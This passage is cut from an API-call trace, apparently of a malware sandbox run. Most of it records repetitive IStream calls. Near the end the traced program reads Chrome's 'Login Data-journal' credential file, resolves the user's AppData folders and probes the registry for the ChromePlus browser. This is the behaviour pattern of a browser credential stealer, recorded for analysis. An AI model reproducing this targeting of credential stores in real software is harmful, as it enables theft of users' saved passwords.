libNewSize=0xef7db) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e6f0, libNewSize=0x76a938) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x1e, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7d7) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x1f, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e6f0, libNewSize=0x756820) returned 0x0 [0054.950] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.950] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x345, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x345, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x346, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x347, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.950] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef830 | out: ppstm=0xef830*=0x76e6f0) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e560, libOffset=0x348, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.950] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.950] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.950] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.951] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.951] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.951] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.951] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.951] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x11, cb=0x0, dwLockType=0x0) returned 0x0 [0054.951] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0054.951] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7d7) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.951] IStream:LockRegion (This=0x76e6f0, libOffset=0x17, cb=0x0, dwLockType=0x0) returned 0x0 [0054.951] IStream:SetSize (This=0x76e6f0, libNewSize=0x761ea0) returned 0x0 [0054.952] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e560, libOffset=0x408, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e560, libOffset=0x408, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e560, libOffset=0x409, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.952] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef830 | out: ppstm=0xef830*=0x76e6f0) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e560, libOffset=0x40a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.952] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.952] IStream:SetSize (This=0x76e6f0, libNewSize=0x764558) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.952] IStream:LockRegion (This=0x76e6f0, libOffset=0x23, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x28, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7d7) returned 0x0 [0054.953] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e560, libOffset=0x2f5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e560, libOffset=0x2f5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e560, libOffset=0x2f6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.953] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef830 | out: ppstm=0xef830*=0x76e6f0) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e560, libOffset=0x2f7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.953] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.953] IStream:LockRegion (This=0x76e6f0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.953] IStream:SetSize (This=0x76e6f0, libNewSize=0x76aa68) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e6f0, libOffset=0x17, cb=0x0, dwLockType=0x0) returned 0x0 [0054.954] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e6f0, libOffset=0x1c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.954] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7d7) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e6f0, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0054.954] IStream:SetSize (This=0x76e6f0, libNewSize=0x756820) returned 0x0 [0054.954] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.954] IUnknown:Release (This=0x76e560) returned 0x0 [0054.954] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef8d4 | out: ppstm=0xef8d4*=0x76e560) returned 0x0 [0054.954] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0054.954] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x0, lpOverlapped=0x0) returned 1 [0054.954] CloseHandle (hObject=0x3e8) returned 1 [0054.954] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.954] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.954] IUnknown:Release (This=0x76e560) returned 0x0 [0054.956] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\ProgramData") returned 0x0 [0054.956] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\ProgramData") returned 0x0 [0054.956] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.956] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0054.956] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0054.956] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.956] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0054.956] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0054.956] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.956] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.956] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0054.956] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd54) returned 0x0 [0054.956] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd68) returned 0x0 [0054.956] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0054.956] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0054.956] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0054.956] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0054.956] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0054.957] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\ProgramData") returned 0x0 [0054.957] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\ProgramData") returned 0x0 [0054.957] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\ChromePlus", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd38 | out: phkResult=0xefd38*=0x0) returned 0x2 [0054.957] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\ChromePlus", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd0c | out: phkResult=0xefd0c*=0x0) returned 0x2 [0054.957] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\ChromePlus", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce0 | out: phkResult=0xefce0*=0x0) returned 0x2 [0054.957] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.957] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0054.957] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0054.957] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.957] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0054.957] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0054.957] IStream:LockRegion (This=0x7473d8, 